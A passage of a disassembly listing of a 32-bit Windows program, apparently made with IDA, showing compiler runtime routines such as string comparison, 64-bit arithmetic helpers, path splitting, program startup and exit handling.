		jnz	short loc_410586


loc_41050D:				; CODE XREF: sub_410487+79j
		cmp	[ebp+arg_C], 0
		jz	short loc_410520
		mov	eax, ebx
		xor	edx, edx
		div	[ebp+arg_C]
		mov	edi, ebx
		sub	edi, edx
		jmp	short loc_410522
; ---------------------------------------------------------------------------


loc_410520:				; CODE XREF: sub_410487+8Aj
		mov	edi, ebx


loc_410522:				; CODE XREF: sub_410487+97j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi+10h]
		call	sub_415AF3
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41057D
		add	[ebp+arg_0], eax
		sub	ebx, eax
		cmp	eax, edi
		jb	short loc_41057D


loc_41053F:				; CODE XREF: sub_410487+70j
		mov	edi, [ebp+var_4]
		jmp	short loc_41056D
; ---------------------------------------------------------------------------


loc_410544:				; CODE XREF: sub_410487+75j
		mov	eax, [ebp+arg_0]
		push	esi
		movsx	eax, byte ptr [eax]
		push	eax
		call	sub_410C9B
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_410586
		inc	[ebp+arg_0]
		mov	eax, [esi+18h]
		dec	ebx
		mov	[ebp+arg_C], eax
		test	eax, eax
		jg	short loc_41056D
		mov	[ebp+arg_C], 1


loc_41056D:				; CODE XREF: sub_410487+BBj
					; sub_410487+DDj
		test	ebx, ebx
		jnz	loc_4104C5
		mov	eax, [ebp+arg_8]


loc_410578:				; CODE XREF: sub_410487+1Fj
					; sub_410487+108j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41057D:				; CODE XREF: sub_410487+ADj
					; sub_410487+B6j
		or	dword ptr [esi+0Ch], 20h
		mov	eax, [ebp+var_4]
		jmp	short loc_410588
; ---------------------------------------------------------------------------


loc_410586:				; CODE XREF: sub_410487+84j
					; sub_410487+CFj
		mov	eax, edi


loc_410588:				; CODE XREF: sub_410487+FDj
		sub	eax, ebx
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	short loc_410578
sub_410487	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4105A0	proc near		; CODE XREF: sub_405076+1C1p
					; sub_405076+276p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		jecxz	short loc_4105D1
		mov	ebx, ecx
		mov	edi, [ebp+arg_0]
		mov	esi, edi
		xor	eax, eax
		repne scasb
		neg	ecx
		add	ecx, ebx
		mov	edi, esi
		mov	esi, [ebp+arg_4]
		repe cmpsb
		mov	al, [esi-1]
		xor	ecx, ecx
		cmp	al, [edi-1]
		ja	short loc_4105CF
		jz	short loc_4105D1
		dec	ecx
		dec	ecx


loc_4105CF:				; CODE XREF: sub_4105A0+29j
		not	ecx


loc_4105D1:				; CODE XREF: sub_4105A0+9j
					; sub_4105A0+2Bj
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_4105A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4105E0	proc near		; CODE XREF: sub_40544D+3Dp
					; sub_410DB0+5B2p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_410601
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_410651
; ---------------------------------------------------------------------------


loc_410601:				; CODE XREF: sub_4105E0+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]


loc_41060F:				; CODE XREF: sub_4105E0+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41060F
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_41063A
		cmp	edx, [esp+4+arg_4]
		ja	short loc_41063A
		jb	short loc_410642
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_410642


loc_41063A:				; CODE XREF: sub_4105E0+4Aj
					; sub_4105E0+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]


loc_410642:				; CODE XREF: sub_4105E0+52j
					; sub_4105E0+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0


loc_410651:				; CODE XREF: sub_4105E0+1Fj
		pop	ebx
		retn	10h
sub_4105E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_410660	proc near		; CODE XREF: sub_40544D+24p
					; sub_410DB0+5C4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_410682
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_4106C3
; ---------------------------------------------------------------------------


loc_410682:				; CODE XREF: sub_410660+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]


loc_410690:				; CODE XREF: sub_410660+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_410690
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_4106BE
		cmp	edx, [esp+8+arg_4]
		ja	short loc_4106BE
		jb	short loc_4106BF
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_4106BF


loc_4106BE:				; CODE XREF: sub_410660+4Ej
					; sub_410660+54j
		dec	esi


loc_4106BF:				; CODE XREF: sub_410660+56j
					; sub_410660+5Cj
		xor	edx, edx
		mov	eax, esi


loc_4106C3:				; CODE XREF: sub_410660+20j
		pop	esi
		pop	ebx
		retn	10h
sub_410660	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4106D0	proc near		; CODE XREF: sub_406287+11Bp
					; sub_406906+19Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_C]
		or	ecx, eax
		mov	ecx, [esp+arg_8]
		jnz	short loc_4106E9
		mov	eax, [esp+arg_0]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------


loc_4106E9:				; CODE XREF: sub_4106D0+Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	[esp+4+arg_C]
		add	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
sub_4106D0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410704	proc near		; CODE XREF: sub_407AC2+19p
					; sub_408486+1Cp

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	[ebp+arg_C]
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_8]
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_14], 42h
		push	eax
		call	sub_410DB0
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_410742
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41074F
; ---------------------------------------------------------------------------


loc_410742:				; CODE XREF: sub_410704+34j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_410C9B
		pop	ecx
		pop	ecx


loc_41074F:				; CODE XREF: sub_410704+3Cj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_410704	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_410760	proc near		; CODE XREF: sub_4082E0+1Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		test	eax, eax
		jz	short locret_4107AC
		mov	edx, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, edx
		mov	edi, [esp+8+arg_4]
		or	edx, edi
		and	edx, 3
		jz	short loc_4107AD
		test	eax, 1
		jz	short loc_41078D
		mov	cl, [esi]
		cmp	cl, [edi]
		jnz	short loc_4107DA
		inc	esi
		inc	edi
		dec	eax
		jz	short loc_4107AA


loc_41078D:				; CODE XREF: sub_410760+20j
					; sub_410760+48j
		mov	cl, [esi]
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_4107DA
		mov	cl, [esi+1]
		mov	dl, [edi+1]
		cmp	cl, dl
		jnz	short loc_4107DA
		add	edi, 2
		add	esi, 2
		sub	eax, 2
		jnz	short loc_41078D


loc_4107AA:				; CODE XREF: sub_410760+2Bj
					; sub_410760+84j
		pop	edi
		pop	esi

locret_4107AC:				; CODE XREF: sub_410760+6j
		retn
; ---------------------------------------------------------------------------


loc_4107AD:				; CODE XREF: sub_410760+19j
		mov	ecx, eax
		and	eax, 3
		shr	ecx, 2
		jz	short loc_4107E2
		repe cmpsd
		jz	short loc_4107E2
		mov	ecx, [esi-4]
		mov	edx, [edi-4]
		cmp	cl, dl
		jnz	short loc_4107D5
		cmp	ch, dh
		jnz	short loc_4107D5
		shr	ecx, 10h
		shr	edx, 10h
		cmp	cl, dl
		jnz	short loc_4107D5
		cmp	ch, dh


loc_4107D5:				; CODE XREF: sub_410760+63j
					; sub_410760+67j ...
		mov	eax, 0


loc_4107DA:				; CODE XREF: sub_410760+26j
					; sub_410760+33j ...
		sbb	eax, eax
		pop	edi
		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4107E2:				; CODE XREF: sub_410760+55j
					; sub_410760+59j
		test	eax, eax
		jz	short loc_4107AA
		mov	edx, [esi]
		mov	ecx, [edi]
		cmp	dl, cl
		jnz	short loc_4107D5
		dec	eax
		jz	short loc_410809
		cmp	dh, ch
		jnz	short loc_4107D5
		dec	eax
		jz	short loc_410809
		and	ecx, 0FF0000h
		and	edx, 0FF0000h
		cmp	edx, ecx
		jnz	short loc_4107D5
		dec	eax


loc_410809:				; CODE XREF: sub_410760+8Fj
					; sub_410760+96j
		pop	edi
		pop	esi
		retn
sub_410760	endp


; =============== S U B	R O U T	I N E =======================================



sub_41080C	proc near		; CODE XREF: sub_410B5C+93p
		mov	eax, off_42205C
		test	eax, eax
		jz	short loc_410817
		call	eax ; sub_40EF31


loc_410817:				; CODE XREF: sub_41080C+7j
		push	offset dword_41C020
		push	offset dword_41C00C
		call	sub_4108F4
		push	offset dword_41C008
		push	offset dword_41C000
		call	sub_4108F4
		add	esp, 10h
		retn
sub_41080C	endp


; =============== S U B	R O U T	I N E =======================================



sub_410839	proc near		; CODE XREF: sub_410B5C+D2p

arg_0		= dword	ptr  4

		push	0
		push	0
		push	[esp+8+arg_0]
		call	sub_41085B
		add	esp, 0Ch
		retn
sub_410839	endp


; =============== S U B	R O U T	I N E =======================================



sub_41084A	proc near		; CODE XREF: .packed:00410C4Dp
					; sub_410C52+1Cp ...

arg_0		= dword	ptr  4

		push	0
		push	1
		push	[esp+8+arg_0]
		call	sub_41085B
		add	esp, 0Ch
		retn
sub_41084A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41085B	proc near		; CODE XREF: sub_410839+8p
					; sub_41084A+8p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		push	1
		pop	edi
		cmp	dword_4BA2CC, edi
		jnz	short loc_410878
		push	[esp+4+arg_0]
		call	dword_41A110	; GetCurrentProcess
		push	eax
		call	dword_41A114	; TerminateProcess


loc_410878:				; CODE XREF: sub_41085B+Aj
		cmp	[esp+4+arg_4], 0
		push	ebx
		mov	ebx, [esp+8+arg_8]
		mov	dword_4BA2C8, edi
		mov	byte_4BA2C4, bl
		jnz	short loc_4108CC
		mov	eax, dword_4BB8F8
		test	eax, eax
		jz	short loc_4108BB
		mov	ecx, dword_4BB8F4
		push	esi
		lea	esi, [ecx-4]
		cmp	esi, eax
		jb	short loc_4108BA


loc_4108A7:				; CODE XREF: sub_41085B+5Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_4108AF
		call	eax


loc_4108AF:				; CODE XREF: sub_41085B+50j
		sub	esi, 4
		cmp	esi, dword_4BB8F8
		jnb	short loc_4108A7


loc_4108BA:				; CODE XREF: sub_41085B+4Aj
		pop	esi


loc_4108BB:				; CODE XREF: sub_41085B+3Cj
		push	offset dword_41C02C
		push	offset dword_41C024
		call	sub_4108F4
		pop	ecx
		pop	ecx


loc_4108CC:				; CODE XREF: sub_41085B+33j
		push	offset dword_41C038
		push	offset dword_41C030
		call	sub_4108F4
		pop	ecx
		pop	ecx
		test	ebx, ebx
		pop	ebx
		jnz	short loc_4108F2
		push	[esp+4+arg_0]
		mov	dword_4BA2CC, edi
		call	dword_41A0F4	; ExitProcess


loc_4108F2:				; CODE XREF: sub_41085B+85j
		pop	edi
		retn
sub_41085B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4108F4	proc near		; CODE XREF: sub_41080C+15p
					; sub_41080C+24p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]


loc_4108F9:				; CODE XREF: sub_4108F4+16j
		cmp	esi, [esp+4+arg_4]
		jnb	short loc_41090C
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_410907
		call	eax


loc_410907:				; CODE XREF: sub_4108F4+Fj
		add	esi, 4
		jmp	short loc_4108F9
; ---------------------------------------------------------------------------


loc_41090C:				; CODE XREF: sub_4108F4+9j
		pop	esi
		retn
sub_4108F4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41090E	proc near		; CODE XREF: sub_409034+F7p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_40E730
		cmp	eax, 1
		pop	ecx
		jb	short loc_410949
		cmp	byte ptr [ebx+1], 3Ah
		jnz	short loc_410949
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jz	short loc_410945
		push	2
		push	ebx
		push	esi
		call	sub_416080
		add	esp, 0Ch
		and	byte ptr [esi+2], 0


loc_410945:				; CODE XREF: sub_41090E+25j
		inc	ebx
		inc	ebx
		jmp	short loc_410953
; ---------------------------------------------------------------------------


loc_410949:				; CODE XREF: sub_41090E+18j
					; sub_41090E+1Ej
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_410953
		and	byte ptr [eax],	0


loc_410953:				; CODE XREF: sub_41090E+39j
					; sub_41090E+40j
		and	[ebp+arg_4], 0
		cmp	byte ptr [ebx],	0
		mov	eax, ebx
		mov	esi, 0FFh
		mov	[ebp+arg_0], eax
		jz	short loc_4109CB


loc_410966:				; CODE XREF: sub_41090E+87j
		mov	cl, [eax]
		movzx	edx, cl
		test	byte_4BB6A1[edx], 4
		jz	short loc_410977
		inc	eax
		jmp	short loc_410991
; ---------------------------------------------------------------------------


loc_410977:				; CODE XREF: sub_41090E+64j
		cmp	cl, 2Fh
		jz	short loc_41098B
		cmp	cl, 5Ch
		jz	short loc_41098B
		cmp	cl, 2Eh
		jnz	short loc_410991
		mov	[ebp+var_4], eax
		jmp	short loc_410991
; ---------------------------------------------------------------------------


loc_41098B:				; CODE XREF: sub_41090E+6Cj
					; sub_41090E+71j
		lea	ecx, [eax+1]
		mov	[ebp+arg_4], ecx


loc_410991:				; CODE XREF: sub_41090E+67j
					; sub_41090E+76j ...
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_410966
		mov	edi, [ebp+arg_4]
		mov	[ebp+arg_0], eax
		test	edi, edi
		jz	short loc_4109CB
		cmp	[ebp+arg_8], 0
		jz	short loc_4109C6
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_4109AF
		mov	edi, esi


loc_4109AF:				; CODE XREF: sub_41090E+9Dj
		push	edi
		push	ebx
		push	[ebp+arg_8]
		call	sub_416080
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_4109C6:				; CODE XREF: sub_41090E+97j
		mov	ebx, [ebp+arg_4]
		jmp	short loc_4109D5
; ---------------------------------------------------------------------------


loc_4109CB:				; CODE XREF: sub_41090E+56j
					; sub_41090E+91j
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		jz	short loc_4109D5
		and	byte ptr [ecx],	0


loc_4109D5:				; CODE XREF: sub_41090E+BBj
					; sub_41090E+C2j
		mov	edi, [ebp+var_4]
		test	edi, edi
		jz	short loc_410A28
		cmp	edi, ebx
		jb	short loc_410A28
		cmp	[ebp+arg_C], 0
		jz	short loc_410A05
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_4109EE
		mov	edi, esi


loc_4109EE:				; CODE XREF: sub_41090E+DCj
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_416080
		mov	eax, [ebp+arg_C]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_410A05:				; CODE XREF: sub_41090E+D6j
		mov	edi, [ebp+arg_10]
		test	edi, edi
		jz	short loc_410A50
		sub	eax, [ebp+var_4]
		cmp	eax, esi
		jnb	short loc_410A15
		mov	esi, eax


loc_410A15:				; CODE XREF: sub_41090E+103j
		push	esi
		push	[ebp+var_4]
		push	edi
		call	sub_416080
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0
		jmp	short loc_410A50
; ---------------------------------------------------------------------------


loc_410A28:				; CODE XREF: sub_41090E+CCj
					; sub_41090E+D0j
		mov	edi, [ebp+arg_C]
		test	edi, edi
		jz	short loc_410A46
		sub	eax, ebx
		cmp	eax, esi
		jnb	short loc_410A37
		mov	esi, eax


loc_410A37:				; CODE XREF: sub_41090E+125j
		push	esi
		push	ebx
		push	edi
		call	sub_416080
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0


loc_410A46:				; CODE XREF: sub_41090E+11Fj
		mov	eax, [ebp+arg_10]
		test	eax, eax
		jz	short loc_410A50
		and	byte ptr [eax],	0


loc_410A50:				; CODE XREF: sub_41090E+FCj
					; sub_41090E+118j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41090E	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410A60	proc near		; CODE XREF: sub_40997B+24B7p
					; sub_40997B+24D5p ...

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_0]
		xor	eax, eax
		or	ecx, 0FFFFFFFFh
		repne scasb
		inc	ecx
		neg	ecx
		dec	edi
		mov	al, [ebp+arg_4]
		std
		repne scasb
		inc	edi
		cmp	[edi], al
		jz	short loc_410A81
		xor	eax, eax
		jmp	short loc_410A83
; ---------------------------------------------------------------------------


loc_410A81:				; CODE XREF: sub_410A60+1Bj
		mov	eax, edi


loc_410A83:				; CODE XREF: sub_410A60+1Fj
		cld
		pop	edi
		leave
		retn
sub_410A60	endp

; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_410AA0


loc_410A90:				; CODE XREF: sub_410AA0+1Dj
		lea	eax, [edx-1]
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_410AA0
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_410AA0	proc near		; CODE XREF: sub_40997B+3F6p
					; sub_40997B+4A5p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

; FUNCTION CHUNK AT 00410A90 SIZE 00000005 BYTES

		xor	eax, eax
		mov	al, [esp+arg_4]


loc_410AA6:				; CODE XREF: sub_4102A0+6Ej
		push	ebx
		mov	ebx, eax
		shl	eax, 8
		mov	edx, [esp+4+arg_0]
		test	edx, 3
		jz	short loc_410ACB


loc_410AB8:				; CODE XREF: sub_410AA0+29j
		mov	cl, [edx]
		inc	edx
		cmp	cl, bl
		jz	short loc_410A90
		test	cl, cl
		jz	short loc_410B14
		test	edx, 3
		jnz	short loc_410AB8


loc_410ACB:				; CODE XREF: sub_410AA0+16j
		or	ebx, eax
		push	edi
		mov	eax, ebx
		shl	ebx, 10h
		push	esi
		or	ebx, eax


loc_410AD6:				; CODE XREF: sub_410AA0+61j
					; sub_410AA0+70j ...
		mov	ecx, [edx]
		mov	edi, 7EFEFEFFh
		mov	eax, ecx
		mov	esi, edi
		xor	ecx, ebx
		add	esi, eax
		add	edi, ecx
		xor	ecx, 0FFFFFFFFh
		xor	eax, 0FFFFFFFFh
		xor	ecx, edi
		xor	eax, esi
		add	edx, 4
		and	ecx, 81010100h
		jnz	short loc_410B18
		and	eax, 81010100h
		jz	short loc_410AD6
		and	eax, 1010100h
		jnz	short loc_410B12
		and	esi, 80000000h
		jnz	short loc_410AD6


loc_410B12:				; CODE XREF: sub_410AA0+68j
					; sub_410AA0+81j ...
		pop	esi
		pop	edi


loc_410B14:				; CODE XREF: sub_410AA0+21j
		pop	ebx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_410B18:				; CODE XREF: sub_410AA0+5Aj
		mov	eax, [edx-4]
		cmp	al, bl
		jz	short loc_410B55
		test	al, al
		jz	short loc_410B12
		cmp	ah, bl
		jz	short loc_410B4E
		test	ah, ah
		jz	short loc_410B12
		shr	eax, 10h
		cmp	al, bl
		jz	short loc_410B47
		test	al, al
		jz	short loc_410B12
		cmp	ah, bl
		jz	short loc_410B40
		test	ah, ah
		jz	short loc_410B12
		jmp	short loc_410AD6
; ---------------------------------------------------------------------------


loc_410B40:				; CODE XREF: sub_410AA0+98j
		pop	esi
		pop	edi
		lea	eax, [edx-1]
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_410B47:				; CODE XREF: sub_410AA0+90j
		lea	eax, [edx-2]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_410B4E:				; CODE XREF: sub_410AA0+85j
		lea	eax, [edx-3]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_410B55:				; CODE XREF: sub_410AA0+7Dj
		lea	eax, [edx-4]
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_410AA0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410B5C	proc near		; CODE XREF: start+189j

var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= byte ptr -5Ch
var_30		= dword	ptr -30h
var_2C		= word ptr -2Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_41A2D8
		push	offset sub_416728
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		call	dword_41A13C	; GetVersion
		xor	edx, edx
		mov	dl, ah
		mov	dword_4BA29C, edx
		mov	ecx, eax
		and	ecx, 0FFh
		mov	dword_4BA298, ecx
		shl	ecx, 8
		add	ecx, edx
		mov	dword_4BA294, ecx
		shr	eax, 10h
		mov	dword_4BA290, eax
		xor	esi, esi
		push	esi
		call	sub_41174A
		pop	ecx
		test	eax, eax
		jnz	short loc_410BC8
		push	1Ch
		call	sub_410C77
		pop	ecx


loc_410BC8:				; CODE XREF: sub_410B5C+62j
		mov	[ebp+var_4], esi
		call	sub_4153B5
		call	dword_41A138	; GetCommandLineA
		mov	dword_4BB8E8, eax
		call	sub_4165EC
		mov	dword_4BA2D0, eax
		call	sub_41639F
		call	sub_4162E6
		call	sub_41080C
		mov	[ebp+var_30], esi
		lea	eax, [ebp+var_5C]
		push	eax
		call	dword_41A134	; GetStartupInfoA
		call	sub_41628E
		mov	[ebp+var_64], eax
		test	byte ptr [ebp+var_30], 1
		jz	short loc_410C15
		movzx	eax, [ebp+var_2C]
		jmp	short loc_410C18
; ---------------------------------------------------------------------------


loc_410C15:				; CODE XREF: sub_410B5C+B1j
		push	0Ah
		pop	eax


loc_410C18:				; CODE XREF: sub_410B5C+B7j
		push	eax
		push	[ebp+var_64]
		push	esi
		push	esi
		call	dword_41A0A4	; GetModuleHandleA
		push	eax
		call	sub_409034
		mov	[ebp+var_60], eax
		push	eax
		call	sub_410839
		mov	eax, [ebp+var_14]
		mov	ecx, [eax]
		mov	ecx, [ecx]
		mov	[ebp+var_68], ecx
		push	eax
		push	ecx
		call	sub_41610A
		pop	ecx
		pop	ecx
		retn
sub_410B5C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		push	dword ptr [ebp-68h]
		call	sub_41084A

; =============== S U B	R O U T	I N E =======================================



sub_410C52	proc near		; CODE XREF: sub_40F842+16p
					; sub_4153B5+1Ap ...

arg_0		= dword	ptr  4

		cmp	dword_4BA2D8, 1
		jnz	short loc_410C60
		call	sub_416800


loc_410C60:				; CODE XREF: sub_410C52+7j
		push	[esp+arg_0]
		call	sub_416839
		push	0FFh
		call	off_422090
		pop	ecx
		pop	ecx
		retn
sub_410C52	endp


; =============== S U B	R O U T	I N E =======================================



sub_410C77	proc near		; CODE XREF: sub_410B5C+66p

arg_0		= dword	ptr  4

		cmp	dword_4BA2D8, 1
		jnz	short loc_410C85
		call	sub_416800


loc_410C85:				; CODE XREF: sub_410C77+7j
		push	[esp+arg_0]
		call	sub_416839
		pop	ecx
		push	0FFh
		call	dword_41A0F4	; ExitProcess
		retn
sub_410C77	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410C9B	proc near		; CODE XREF: sub_40E7AB+45p
					; sub_40EE10+46p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [esi+0Ch]
		mov	ebx, [esi+10h]
		test	al, 82h
		jz	loc_410DA4
		test	al, 40h
		jnz	loc_410DA4
		test	al, 1
		jz	short loc_410CD3
		and	dword ptr [esi+4], 0
		test	al, 10h
		jz	loc_410DA4
		mov	ecx, [esi+8]
		and	al, 0FEh
		mov	[esi], ecx
		mov	[esi+0Ch], eax


loc_410CD3:				; CODE XREF: sub_410C9B+20j
		mov	eax, [esi+0Ch]
		and	dword ptr [esi+4], 0
		and	[ebp+arg_4], 0
		and	al, 0EFh
		or	al, 2
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_410D0D
		cmp	esi, offset dword_424678
		jz	short loc_410CFB
		cmp	esi, offset dword_424698
		jnz	short loc_410D06


loc_410CFB:				; CODE XREF: sub_410C9B+56j
		push	ebx
		call	sub_4169D0
		test	eax, eax
		pop	ecx
		jnz	short loc_410D0D


loc_410D06:				; CODE XREF: sub_410C9B+5Ej
		push	esi
		call	sub_41698C
		pop	ecx


loc_410D0D:				; CODE XREF: sub_410C9B+4Ej
					; sub_410C9B+69j
		test	word ptr [esi+0Ch], 108h
		push	edi
		jz	short loc_410D7A
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		lea	ecx, [eax+1]
		mov	[esi], ecx
		mov	ecx, [esi+18h]
		dec	ecx
		test	edi, edi
		mov	[esi+4], ecx
		jle	short loc_410D3D
		push	edi
		push	eax
		push	ebx
		call	sub_415AF3
		add	esp, 0Ch
		mov	[ebp+arg_4], eax
		jmp	short loc_410D70
; ---------------------------------------------------------------------------


loc_410D3D:				; CODE XREF: sub_410C9B+90j
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_410D58
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4BB7C0[eax*4]
		lea	eax, [eax+ecx*8]
		jmp	short loc_410D5D
; ---------------------------------------------------------------------------


loc_410D58:				; CODE XREF: sub_410C9B+A5j
		mov	eax, offset dword_424440


loc_410D5D:				; CODE XREF: sub_410C9B+BBj
		test	byte ptr [eax+4], 20h
		jz	short loc_410D70
		push	2
		push	0
		push	ebx
		call	sub_415560
		add	esp, 0Ch


loc_410D70:				; CODE XREF: sub_410C9B+A0j
					; sub_410C9B+C6j
		mov	eax, [esi+8]
